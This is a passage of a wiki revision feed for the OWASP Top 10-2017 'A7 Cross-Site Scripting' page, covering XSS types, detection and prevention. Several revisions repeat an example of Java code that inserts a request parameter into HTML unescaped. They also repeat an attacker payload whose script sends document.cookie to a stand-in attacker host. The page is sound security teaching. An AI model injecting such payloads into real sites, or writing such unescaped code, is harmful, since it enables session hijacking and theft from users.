# Applying context sensitive encoding when modifying the browser document on the client side acts against &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;.  Details specific to client-side input processing reside in &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;.&lt;br /&gt;
# Enabling a &amp;lt;u&amp;gt;[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]&amp;lt;/u&amp;gt; and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}&lt;br /&gt;
The application generating response in &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; uses untrusted data in the construction of the following HTML snippet without validation or escaping:&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&lt;br /&gt;
(String) page += &amp;quot;&amp;lt;input name='creditcard' type='TEXT' value='&amp;quot; + &amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;request.getParameter(&amp;quot;CC&amp;quot;)&amp;lt;/span&amp;gt; + &amp;quot;'&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
The attacker manipulates the `CC' parameter to the following value &lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;#x27;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://attacker.test/log?&amp;lt;/nowiki&amp;gt;cookies=&amp;amp;#x27;+encodeURIComponent(document.cookie)&amp;amp;lt;/script&amp;amp;gt;&amp;amp;lt;foobar p=&amp;amp;#x27;&lt;br /&gt;
&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
in the query string and sends the resulting link &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard?CC=...&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; with the malicious value to the victim.  Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link.  The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;amp;lt;input name='creditcard' type='TEXT' value='&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;'&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://attacker.test/log?&amp;lt;/nowiki&amp;gt;cookies=&amp;amp;#x27;+encodeURIComponent(document.cookie)&amp;amp;lt;/script&amp;gt;&amp;amp;lt;foobar p=&amp;amp;#x27;&amp;lt;/span&amp;gt;&amp;amp;#x27;&amp;amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. &lt;br /&gt;
Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See &amp;lt;u&amp;gt;[[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]]&amp;lt;/u&amp;gt; for info on CSRF.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Types of Cross-Site Scripting]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]&amp;lt;/u&amp;gt;&amp;lt;!--- tab syntax for internal links including tabs: &amp;lt;link&amp;gt;#&amp;lt;tab-description&amp;gt; ---&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[AntiSamy | OWASP AntiSamy: Sanitization Library]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2013:BottomAdvancedTemplate&lt;br /&gt;
    |type={{Top_10_2010:StyleTemplate}}&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230166</id>
		<title>Top 10-2017 A7-Cross-Site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230166"/>
				<updated>2017-05-31T19:54:18Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: Clarify introduction.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2013:TopTemplate&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}&lt;br /&gt;
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
     &amp;lt;td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS) | XSS]]&amp;lt;/u&amp;gt; flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]]&amp;lt;/u&amp;gt; and (2) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]]&amp;lt;/u&amp;gt;, and each of these can occur on the a) &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server ]]&amp;lt;/u&amp;gt; or b) on the &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client]]&amp;lt;/u&amp;gt;. Detection of most &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]]&amp;lt;/u&amp;gt; flaws is fairly easy via testing or code analysis. &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]]&amp;lt;/u&amp;gt; is very difficult to identify.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;Consider the business value of the affected system and all the data it processes.&lt;br /&gt;
&lt;br /&gt;
Also consider the business impact of public exposure of the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
{{Top_10_2010:SummaryTableEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}&lt;br /&gt;
An application has a Cross-Site Scripting vulnerability if it fails to encode output of user data according to its context in HTML, resulting in crossing the boundary with the scripts sent to the browser.  In addition, a vulnerable application could fail to white-list potentially malicious data sources such as &amp;lt;code&amp;gt;window.name&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;document.referer&amp;lt;/code&amp;gt; before passing them to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]] such as &amp;lt;code&amp;gt;window.eval()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;window.setTimeout()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;document.write()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;new Function()&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Automated tools can find some XSS vulnerabilities and miss others. Besides, each application builds output pages differently and relies on different browser side interpreters such as JavaScript, ActiveX, Flash, Silverlight.  The scripts sent to the browser may rely on additional script libraries.  Single-page applications may process input on the client side and generate requests to the server independently from user actions.  This diversity makes discovering all possible HTTP requests difficult.  Test tools may improve the coverage by connecting to a browser that would execute scripts generated by the application and by sending operating system level or browser level input events to the browser.  Static and &amp;quot;interactive&amp;quot; analysis may help uncover additional XSS vulnerabilities whose exposure to automated queries depends on a sequence of HTTP requests.&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
Preventing XSS requires separation of untrusted data from active browser content.&lt;br /&gt;
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; vulnerabilities. The &amp;lt;u&amp;gt;[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details on the required data escaping techniques.&lt;br /&gt;
# Applying context sensitive encoding when modifying the browser document on the client side acts against &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;.  Details specific to client-side input processing reside in &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;.&lt;br /&gt;
# Enabling a &amp;lt;u&amp;gt;[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]&amp;lt;/u&amp;gt; and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}&lt;br /&gt;
The application generating response in &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; uses untrusted data in the construction of the following HTML snippet without validation or escaping:&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&lt;br /&gt;
(String) page += &amp;quot;&amp;lt;input name='creditcard' type='TEXT' value='&amp;quot; + &amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;request.getParameter(&amp;quot;CC&amp;quot;)&amp;lt;/span&amp;gt; + &amp;quot;'&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
The attacker manipulates the `CC' parameter to the following value &lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;#x27;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/log?&amp;lt;/nowiki&amp;gt;cookies=&amp;amp;#x27;+encodeURIComponent(document.cookie)&amp;amp;lt;/script&amp;amp;gt;&amp;amp;lt;foobar p=&amp;amp;#x27;&lt;br /&gt;
&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
in the query string and sends the resulting link &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard?CC=...&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; with the malicious value to the victim.  Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link.  The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;amp;lt;input name='creditcard' type='TEXT' value='&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;'&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/log?&amp;lt;/nowiki&amp;gt;cookies=&amp;amp;#x27;+encodeURIComponent(document.cookie)&amp;amp;lt;/script&amp;gt;&amp;amp;lt;foobar p=&amp;amp;#x27;&amp;lt;/span&amp;gt;&amp;amp;#x27;&amp;amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. &lt;br /&gt;
Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See &amp;lt;u&amp;gt;[[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]]&amp;lt;/u&amp;gt; for info on CSRF.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Types of Cross-Site Scripting]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]&amp;lt;/u&amp;gt;&amp;lt;!--- tab syntax for internal links including tabs: &amp;lt;link&amp;gt;#&amp;lt;tab-description&amp;gt; ---&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[AntiSamy | OWASP AntiSamy: Sanitization Library]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2013:BottomAdvancedTemplate&lt;br /&gt;
    |type={{Top_10_2010:StyleTemplate}}&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230165</id>
		<title>Top 10-2017 A7-Cross-Site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230165"/>
				<updated>2017-05-31T19:31:15Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: Clarify automation challenges.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2013:TopTemplate&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}&lt;br /&gt;
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
     &amp;lt;td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS) | XSS]]&amp;lt;/u&amp;gt; flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]]&amp;lt;/u&amp;gt; and (2) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]]&amp;lt;/u&amp;gt;, and each of these can occur on the a) &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server ]]&amp;lt;/u&amp;gt; or b) on the &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client]]&amp;lt;/u&amp;gt;. Detection of most &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]]&amp;lt;/u&amp;gt; flaws is fairly easy via testing or code analysis. &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]]&amp;lt;/u&amp;gt; is very difficult to identify.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;Consider the business value of the affected system and all the data it processes.&lt;br /&gt;
&lt;br /&gt;
Also consider the business impact of public exposure of the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
{{Top_10_2010:SummaryTableEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}&lt;br /&gt;
You are vulnerable to &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;. Ideally, you would avoid sending attacker-controllable data to &amp;lt;u&amp;gt;[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]&amp;lt;/u&amp;gt;, but escaping (and to a lesser extent) input validation can be used to make this safe.&lt;br /&gt;
&lt;br /&gt;
Automated tools can find some XSS vulnerabilities and miss others. Besides, each application builds output pages differently and relies on different browser side interpreters such as JavaScript, ActiveX, Flash, Silverlight.  The scripts sent to the browser may rely on additional script libraries.  Single-page applications may process input on the client side and generate requests to the server independently from user actions.  This diversity makes discovering all possible HTTP requests difficult.  Test tools may improve the coverage by connecting to a browser that would execute scripts generated by the application and by sending operating system level or browser level input events to the browser.  Static and &amp;quot;interactive&amp;quot; analysis may help uncover additional XSS vulnerabilities whose exposure to automated queries depends on a sequence of HTTP requests.&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
Preventing XSS requires separation of untrusted data from active browser content.&lt;br /&gt;
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; vulnerabilities. The &amp;lt;u&amp;gt;[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details on the required data escaping techniques.&lt;br /&gt;
# Applying context sensitive encoding when modifying the browser document on the client side acts against &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;.  Details specific to client-side input processing reside in &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;.&lt;br /&gt;
# Enabling a &amp;lt;u&amp;gt;[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]&amp;lt;/u&amp;gt; and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}&lt;br /&gt;
The application generating response in &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; uses untrusted data in the construction of the following HTML snippet without validation or escaping:&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&lt;br /&gt;
(String) page += &amp;quot;&amp;lt;input name='creditcard' type='TEXT' value='&amp;quot; + &amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;request.getParameter(&amp;quot;CC&amp;quot;)&amp;lt;/span&amp;gt; + &amp;quot;'&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
The attacker manipulates the `CC' parameter to the following value &lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;#x27;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/log?&amp;lt;/nowiki&amp;gt;cookies=&amp;amp;#x27;+encodeURIComponent(document.cookie)&amp;amp;lt;/script&amp;amp;gt;&amp;amp;lt;foobar p=&amp;amp;#x27;&lt;br /&gt;
&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
in the query string and sends the resulting link &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard?CC=...&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; with the malicious value to the victim.  Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link.  The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&lt;br /&gt;
